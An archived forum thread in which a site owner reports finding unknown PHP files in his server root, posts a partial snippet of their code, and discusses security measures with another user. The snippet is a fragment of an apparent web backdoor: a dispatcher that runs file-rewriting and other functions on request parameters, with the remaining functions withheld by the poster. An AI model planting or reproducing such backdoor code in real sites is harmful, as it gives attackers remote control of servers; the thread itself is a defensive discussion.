Forums

The forums ran from 2008-2020 and are now closed and viewable here as an archive.

Home Forums Other Webspace Security

  • This topic is empty.
Viewing 5 posts - 1 through 5 (of 5 total)
  • Author
    Posts
  • #23320
    mikes
    Member

    How do you secure your sites against attacks?

    I thought I was well protected but found new files in my root! ( I don’t mean ‘/public_html’ or ‘/www’ but ‘/’) I manually checked every permission on every file and directory, used .htaccess files and index.php files with Location redirects to /index.php. No one else has access and I’ve never shared my password. My host seems knowledgable and proactive. Fortunately, no harm was done and I’ve removed the site from my webspace for the time being.

    But the question remains… How do you protect a site? Any thoughts?

    #50016
    cssgirl
    Participant

    What kind of files did you find?

    #50010
    mikes
    Member

    There were five files each containing the same php code:

    /index.php
    /sjy.php
    /tey.php
    /cgi-bin/index.php
    /sofye/del.php

    Here is a snippet of the code:

    Code:
    (.*)“, “”, $fin);
    $fin = ereg_replace(“(.*)“, “”, $fin);
    $fin = preg_replace(‘#]+_lm[^>]*>.*?#is’, ”, $fin);
    $fin = preg_replace(“/http(.*?)tmp6(.*?)/”, “”, $fin);
    $fin = ereg_replace(““, “”, $fin);
    $fin = ereg_replace(““, “”, $fin);
    $fin = ereg_replace(““, “”, $fin);
    $fmrd = fopen($pt, “w+”);
    fwrite($fmrd, $fin);
    fclose($fmrd);
    echo ” upt-ok”;
    }

    function Main()
    {
    if (isset($_POST[‘u’]) || isset($_GET[‘u’]))
    {
    Update();
    exit();
    }

    if (isset($_POST[‘c’]) || isset($_GET[‘c’]))
    {
    Com();
    exit();
    }

    if (isset($_POST[‘g’]) || isset($_GET[‘g’]))
    {
    Gen();
    exit();
    }

    if (isset($_POST[‘s’]) || isset($_GET[‘s’]))
    {
    MRepl();
    exit();
    }

    if (isset($_POST[‘cl’]) || isset($_GET[‘cl’]))
    {
    Clear();
    exit();
    }

    if (isset($_POST[‘cl2’]) || isset($_GET[‘cl2’]))
    {
    Clear2();
    exit();
    }

    echo ““;

    }

    Main();

    ?>

    I left out the other functions as I don’t think they should be listed in a public forum.

    After numerous emails back and forth to my host, the issue finally got bumped to someone who was knowledgable and diligent about looking into the matter. The files came from the Czech Republic. Well, at least the /cgi-bin/index.php file was only accessed once and that was from the Czech Republic. Unfortunately, I deleted the files before I noted the ownership on them which might have been enlightening. Also, they were uploaded prior to my oldest activity logs so I can’t get any further information. Fortunately though, this means that the files were uploaded prior to the installation of my various security measures which means my security wasn’t circumvented after all; it just wasn’t in place soon enough.

    The important thing I got from all this was that I need to download my logs daily so that I may keep them as long as I want instead of relying on my host (who only keeps them for seven days).

    #49916
    cssgirl
    Participant

    Hmm interesting. I’ve been hacked before, but it was some stupid scrip kiddies taking over a forum I had, and another time hacking into my MT install and uploading tons of links to fun porn sites — which actually were indexed by google because the domain they were added to was one I didn’t use for a while!

    Oye.

    I now just try to keep everything up to date and my passwords as complex as possible.

    #50128
    mikes
    Member

    I already had some security background but in the last few days I’ve learned a LOT! The reason I stopped learning about security the last time I got interested (years ago) was because it was so overwhelming. There is no way to win. If someone wants into your site badly enough, they can get in. However, there are also tons of easy ways in (listed on hacker websites for any 12 year old with a computer to try out) that are often overlooked. I knew about a lot of those but I’m discovering that was just the tip of the iceberg.

    I found a program today at http://www.acunetix.com/ that scans your site and reports on vulnerabilities. The full version is extremely comprehensive and seems well worth the money. Unfortunately, they want a lot of it! $1500 for a single site licence, $3500 for developers/designers.

    They also have a FREE version that only checks for Cross Site Scripting (XSS) vulnerabilities. I ran that just to check out the software and it said my ecommerce site was secure. HOWEVER, it found a whois script I had forgotten I had even written on my main site that was insecure. Thanks to that program, and a few quick htmlentities() around some POST variables and the program reported that the vulnerability was corrected.

Viewing 5 posts - 1 through 5 (of 5 total)
  • The forum ‘Other’ is closed to new topics and replies.